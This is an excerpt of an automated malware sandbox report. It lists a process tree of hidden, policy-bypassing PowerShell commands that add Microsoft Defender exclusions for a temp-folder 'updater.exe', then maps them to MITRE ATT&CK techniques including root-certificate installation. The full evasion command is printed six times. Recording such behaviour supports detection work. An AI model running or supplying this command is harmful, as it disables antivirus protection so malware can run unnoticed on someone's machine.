    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:6084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    PID:2028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Modifies trusted root certificate store through registry
    PID:2796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    PID:4932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command " try { Add-MpPreference -ExclusionPath 'C:\Users\Admin' -Force -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue $parentPath = Split-Path 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Parent if ($parentPath) { Add-MpPreference -ExclusionPath $parentPath -Force -ErrorAction SilentlyContinue } Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\tibLZb\updater.exe' -Force -ErrorAction SilentlyContinue exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1332

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...